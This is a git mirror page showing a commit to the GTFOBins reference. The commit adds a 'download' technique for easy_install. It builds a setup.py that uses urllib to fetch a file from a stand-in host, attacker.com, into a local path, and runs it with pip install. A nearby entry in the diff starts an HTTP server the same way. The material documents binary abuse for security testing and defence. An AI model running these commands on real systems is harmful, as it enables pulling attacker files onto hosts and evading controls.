mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Add download to easy_install
This commit is contained in:
parent
c2224a6b49
commit
9dc6a93e5b
@ -36,6 +36,18 @@ functions:
|
|||||||
else: import SimpleHTTPServer as s, SocketServer as ss
|
else: import SimpleHTTPServer as s, SocketServer as ss
|
||||||
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
|
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
|
||||||
easy_install $TF
|
easy_install $TF
|
||||||
|
download:
|
||||||
|
- description: Fetch a remote file via HTTP GET request. It needs an absolute local file path.
|
||||||
|
code: |
|
||||||
|
export URL=http://attacker.com/file_to_get
|
||||||
|
export LFILE=/tmp/file_to_save
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo "import os;
|
||||||
|
os.execl('$(whereis python)', '$(whereis python)', '-c', \"\"\"import sys;
|
||||||
|
if sys.version_info.major == 3: import urllib.request as r
|
||||||
|
else: import urllib as r
|
||||||
|
r.urlretrieve('$URL', '$LFILE')\"\"\")" > $TF/setup.py
|
||||||
|
pip install $TF
|
||||||
file-write:
|
file-write:
|
||||||
- description: It needs an absolute local file path.
|
- description: It needs an absolute local file path.
|
||||||
code: |
|
code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user